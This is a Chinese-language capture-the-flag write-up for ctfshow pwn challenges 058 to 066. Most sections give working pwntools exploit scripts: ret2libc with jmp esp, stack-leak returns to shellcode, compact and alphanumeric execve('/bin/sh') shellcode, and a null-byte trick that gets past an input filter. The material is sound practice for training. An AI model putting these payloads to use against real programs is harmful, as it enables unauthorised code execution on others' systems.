首页/文章/CTF PWN

ctfshow pwn 058-066 wp

继续栈溢出复健

学习不是为了征服世界,而是为了不辜负每一次好奇心的出发。

058

题目描述

32位 无限制

进入 IDA ,无法反汇编,看到关键代码

asm
call    ctfshowadd     esp, 10hlea     eax, [ebp+s]call    eaxmov     eax, 0

alt text

会把 s 地址传给 eax ,之后会 call,那我们直接传入 shellcode 即可

python
#! /usr/bin/env python3from pwn import *p = process('./pwn')context(arch='i386', os='linux')payload = asm(shellcraft.sh())p.sendline(payload)p.interactive()

alt text

059

题目描述

64位 无限制

alt text

同样看见关键处

python
#! /usr/bin/env python3from pwn import *p = process('./pwn')context.log_level = 'debug'context(arch='amd64', os='linux')shellcode = shellcraft.sh()payload = asm(shellcode)p.sendline(payload)p.interactive()

alt text

060

题目描述

入门难度shellcode

alt text

初始思路是利用 strncpy 将 shellcode 布局到buf2,但是无法成功
可以看见:
alt text

我们并无权限,那么我们需要想办法在栈上布局并控制程序回到栈上
alt text

同时注意,IDA 里面是 ebp-64h,但是在实际调试中并不是 0x64,gdb调试中发现
alt text
buf 的地址在 0xffffcbec,main ebp在
alt text
0xffffcc58,那么main 返回地址在 0xffffcc5c,那么距离就是 0x70,不是 0x68 ROPgadget 也没有查找到可用的gadget

bash
lmx@lmx:~/pwn/ctfshow/栈溢出/060_pwn60$ objdump -d ./pwn | grep -B1 -A1 "ff e4"lmx@lmx:~/pwn/ctfshow/栈溢出/060_pwn60$ ROPgadget --binary ./pwn | grep "sub esp"

那看来可以先打 ret2libc ,之后找到 jmp esp 的地址,再打一遍就行了,第一遍泄露出 puts: 580但是想到自己本地的版本应该是

alt text

然后第二次看偏移

bash
lmx@lmx:~/pwn/ctfshow$ python3 -c "from pwn import*;print (cyclic_find(0x6261617a))"100

那就是 0x68

python
#! /usr/bin/env python3from pwn import *context(arch='i386', os='linux')elf = ELF('./pwn')libc = ELF('/lib32/libc.so.6')p = process('./pwn')#p = remote('pwn.challenge.ctf.show', 28218)buf2 = 0x804A080puts_got = elf.got['puts']puts_plt = elf.plt['puts']jmp_esp_off = 0x00115c7dprint(hex(jmp_esp_off))puts_offset = 0x07e580shell = asm(shellcraft.sh())payload = flat(b'a' * 0x70, puts_plt, elf.sym['main'], puts_got)p.recvuntil(b'CTFshow-pwn can u pwn me here!!\n')p.sendline(payload)p.recvuntil(b'See you ~')leak = u32(p.recv(4))log.info('puts: ' + hex(leak))libc_base = leak - puts_offsetlog.info('libc base: ' + hex(libc_base))jmp_esp = libc_base + jmp_esp_offp.recvuntil(b'CTFshow-pwn can u pwn me here!!\n')#print("pid =", p.pid)#pause()#p.sendline(cyclic(200))    payload2 = flat(b'a' * 0x68, jmp_esp, shell)    p.sendline(payload2)p.interactive()

alt text

看一下官方题解
alt text

hyw? 那岂不说靶机直接跳到 buf2 就行了?

061

题目描述

输出了什么?

alt text

可以看见泄露了栈的地址,那这个比较简单了

python
#! /usr/bin/env python3from pwn import *p = process('./pwn')context(arch='amd64', os='linux')shellcode = shellcraft.sh()shellcode = asm(shellcode)p.recvuntil(b'What\'s this : [')leak = p.recvuntil(b']')leak = int(leak[:-1], 16)target = leak + 0x20log.info('leak: ' + hex(leak))log.info('target: ' + hex(target))offset = 0x10 + 8payload = b'a' * offset + p64(target) + shellcodep.sendline(payload)p.interactive()

alt text

062

题目描述

短了一点

alt text

可以看见 gets 变成了read,那么我们实际上 shellcode 的长度只能 0x18 也就是 24 字节,拷打 AI 写一个小于 24 字节的出来

python
#! /usr/bin/env python3from pwn import *p = process('./pwn')context(arch='amd64', os='linux')shellcode = (    b"\x48\x31\xf6"    b"\x56"    b"\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68"    b"\x57"    b"\x54\x5f"    b"\x6a\x3b\x58"    b"\x99"    b"\x0f\x05")p.recvuntil(b'What\'s this : [')leak = p.recvuntil(b']')leak = int(leak[:-1], 16)target = leak + 0x20log.info('leak: ' + hex(leak))log.info('target: ' + hex(target))offset = 0x10 + 8payload = b'a' * offset + p64(target) + shellcodep.sendline(payload)p.interactive()

alt text

063

题目描述

又短了一点

alt text

python
#! /usr/bin/env python3from pwn import *p = process('./pwn')context(arch='amd64', os='linux')shellcode = (    b"\x48\x31\xf6"    b"\x56"    b"\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68"    b"\x57"    b"\x54\x5f"    b"\x6a\x3b\x58"    b"\x99"    b"\x0f\x05")p.recvuntil(b'What\'s this : [')leak = p.recvuntil(b']')leak = int(leak[:-1], 16)target = leak + 0x20log.info('leak: ' + hex(leak))log.info('target: ' + hex(target))offset = 0x10 + 8payload = b'a' * offset + p64(target) + shellcodep.sendline(payload)p.interactive()

alt text

064

题目描述

有时候开启某种保护并不代表这条路不通

alt text

可以看见最后会把buf当函数调用

python
#! /usr/bin/env python3 from pwn import *p = process('./pwn')context(arch='i386', os='linux')shellcode = shellcraft.sh()shellcode = asm(shellcode)p.recvuntil(b'Some different!\n')payload = shellcodep.sendline(payload)p.interactive()

alt text

065

题目描述

你是一个好人

打开 IDA 发现只能看汇编

asm
buf= byte ptr -410hvar_8= dword ptr -8var_4= dword ptr -4; __unwind {push    rbpmov     rbp, rspsub     rsp, 410hmov     edx, 14h        ; nlea     rsi, aInputYouShellc ; "Input you Shellcode\n"mov     edi, 1          ; fdmov     eax, 0call    _writelea     rax, [rbp+buf]mov     edx, 400h       ; nbytesmov     rsi, rax        ; bufmov     edi, 0          ; fdmov     eax, 0call    _readmov     [rbp+var_8], eaxcmp     [rbp+var_8], 0jg      short loc_11AC

这里的话一个是打印 Input you Shellcode,还有一个就是 read 输入,之后把 read 的返回值放在 rbp - 0x8,然后跟 0 去比较 jg 就是 jump than greater , 如果比 0 大那就跳转,这里实际上就是在判断输入是否合法
然后是

asm
loc_11AC:mov     [rbp+var_4], 0jmp     loc_123A

实际上就是 rbp+var_4 看成计数器,将他清零
接下来是

asm
loc_123A:mov     eax, [rbp+var_4]cmp     eax, [rbp+var_8]jl      loc_11B8

实际上就是判断是否继续,也就是将目前计数器跟刚实际上读到的字符数进行比较,类似于下标判断

asm
loc_11B8:mov     eax, [rbp+var_4]cdqemovzx   eax, [rbp+rax+buf]cmp     al, 60h ; '`'jle     short loc_11DA

cdqe 就是 Convert Doubleword to Quadword Extended就是从四字节扩展到八字节,那么 eax 就扩展到了 rax

asm
cmp     al, 60h ; '`'jle     short loc_11DAcmp     al, 7Ah ; 'z'jle     short loc_1236

这个的话是在比较,如果 ASCII 小于 60h ,那就到 loc_11DA , 如果大于也就是a,继续比较。之后如果小于 z ,那就是到 loc_1236

asm
loc_11DA:mov     eax, [rbp+var_4]cdqemovzx   eax, [rbp+rax+buf]cmp     al, 40h ; '@'jle     short loc_11FCmov     eax, [rbp+var_4]cdqemovzx   eax, [rbp+rax+buf]cmp     al, 5Ah ; 'Z'jle     short loc_1236loc_11FC:mov     eax, [rbp+var_4]cdqemovzx   eax, [rbp+rax+buf]cmp     al, 2Fh ; '/'jle     short loc_121Emov     eax, [rbp+var_4]cdqemovzx   eax, [rbp+rax+buf]cmp     al, 5Ah ; 'Z'jle     short loc_1236

那么总的来说就是合法字符为

text
0-9 : ; < = > ? @ A-Z a-z

如果不在,那就是

asm
loc_121E:lea     rdi, format     ; "Good,but not right"mov     eax, 0call    _printfmov     eax, 0jmp     short locret_1254

printf("Good,but not right");return 0;
关键点在于

alt text

也就是说只要是输入上述的合法字符,那就直接当成机器码执行

python
#! /usr/bin/env python3from pwn import *p = process('./pwn')context(arch='amd64', os='linux')p.recvuntil(b'Input you Shellcode\n')shellcode = b"WTYH39Yj3TYfi9WmWZj8TYfi9JBWAXjKTYfi9kCWAYjCTYfi93iWAZjcTYfi9O60t800T810T850T860T870T8A0t8B0T8D0T8E0T8F0T8G0T8H0T8P0t8T0T8YRAPZ0t8J0T8M0T8N0t8Q0t8U0t8WZjUTYfi9860t800T850T8P0T8QRAPZ0t81ZjhHpzbinzzzsPHAghriTTI4qTTTT1vVj8nHTfVHAf1RjnXZP"p.send(shellcode)p.interactive()

也是拷打 AI 拿到了 shellcode

alt text

066

题目描述

简单的shellcode?不对劲,十分得有十二分的不对劲

alt text

alt text

asm
.rodata:0000000000400F20 unk_400F20      db  5Ah ; Z             ; DATA XREF: check+8↑o.rodata:0000000000400F21                 db  5Ah ; Z.rodata:0000000000400F22                 db  4Ah ; J.rodata:0000000000400F23                 db  20h.rodata:0000000000400F24                 db  6Ch ; l.rodata:0000000000400F25                 db  6Fh ; o.rodata:0000000000400F26                 db  76h ; v.rodata:0000000000400F27                 db  65h ; e.rodata:0000000000400F28                 db  73h ; s.rodata:0000000000400F29                 db  20h.rodata:0000000000400F2A                 db  73h ; s.rodata:0000000000400F2B                 db  68h ; h.rodata:0000000000400F2C                 db  65h ; e.rodata:0000000000400F2D                 db  6Ch ; l.rodata:0000000000400F2E                 db  6Ch ; l.rodata:0000000000400F2F                 db  5Fh ; _.rodata:0000000000400F30                 db  63h ; c.rodata:0000000000400F31                 db  6Fh ; o.rodata:0000000000400F32                 db  64h ; d.rodata:0000000000400F33                 db  65h ; e.rodata:0000000000400F34                 db  2Ch ; ,.rodata:0000000000400F35                 db  61h ; a.rodata:0000000000400F36                 db  6Eh ; n.rodata:0000000000400F37                 db  64h ; d.rodata:0000000000400F38                 db  20h.rodata:0000000000400F39                 db  68h ; h.rodata:0000000000400F3A                 db  65h ; e.rodata:0000000000400F3B                 db  72h ; r.rodata:0000000000400F3C                 db  65h ; e.rodata:0000000000400F3D                 db  20h.rodata:0000000000400F3E                 db  69h ; i.rodata:0000000000400F3F                 db  73h ; s.rodata:0000000000400F40                 db  20h.rodata:0000000000400F41                 db  61h ; a.rodata:0000000000400F42                 db  20h.rodata:0000000000400F43                 db  67h ; g.rodata:0000000000400F44                 db  69h ; i.rodata:0000000000400F45                 db  66h ; f.rodata:0000000000400F46                 db  74h ; t.rodata:0000000000400F47                 db  3Ah ; :.rodata:0000000000400F48                 db  0Fh.rodata:0000000000400F49                 db    5.rodata:0000000000400F4A                 db  20h.rodata:0000000000400F4B                 db  65h ; e.rodata:0000000000400F4C                 db  6Eh ; n.rodata:0000000000400F4D                 db  6Ah ; j.rodata:0000000000400F4E                 db  6Fh ; o.rodata:0000000000400F4F                 db  79h ; y.rodata:0000000000400F50                 db  20h.rodata:0000000000400F51                 db  69h ; i.rodata:0000000000400F52                 db  74h ; t.rodata:0000000000400F53                 db  21h ; !.rodata:0000000000400F54                 db  0Ah.rodata:0000000000400F55                 db    0

程序会检查你的输入是否为这些字符串里面的,如果没有,那就是非法
那么第一种思路是把 \x00 放在首位,并把 \x00 后面跟一个合法字符,这样子系统就会解释为其他机器码命令,之后把shellcode跟在后面,还有一种思路就是找一个 \x00开头的shellcode
第一个 payload payload = b's ' + b'\x00' * 0x20 + asm(shellcode) 相当于 73 20 也就是 jae +0x20 73 20刚好在合法字符中。
而想要执行 jae 需要 CF 等于 0,而在 call 之前test eax, eax,此时 test 指令完会把 CF 强制清零 ,那么我们就能顺利执行了。
第二个 payload:

python
#! /usr/bin/env python3from pwn import *p = process('./pwn')context(arch='amd64', os='linux')shellcode = (    b"\x00\xc0"  # add al, al    b"\x6a\x68\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x2f\x73"    b"\x50\x48\x89\xe7\x68\x72\x69\x01\x01\x81\x34\x24"    b"\x01\x01\x01\x01\x31\xf6\x56\x6a\x08\x5e\x48\x01"    b"\xe6\x56\x48\x89\xe6\x31\xd2\x6a\x3b\x58\x0f\x05")p.recvuntil(b'Your shellcode is :\n')p.sendline(shellcode)p.interactive()

alt text

许可协议

本文采用 署名-非商业性使用-相同方式共享 4.0 国际 许可协议,转载请注明出处。

读者回信

正在翻开留言页...